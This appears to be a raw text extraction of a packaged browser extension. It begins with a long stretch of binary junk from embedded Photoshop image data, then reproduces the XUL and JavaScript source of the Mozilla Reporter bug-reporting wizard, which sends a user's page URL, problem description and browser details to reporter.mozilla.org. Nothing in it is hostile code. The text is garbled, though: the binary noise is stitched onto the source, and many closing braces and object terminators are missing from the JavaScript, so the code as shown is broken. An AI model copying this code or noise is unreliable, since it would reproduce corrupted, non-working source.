DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
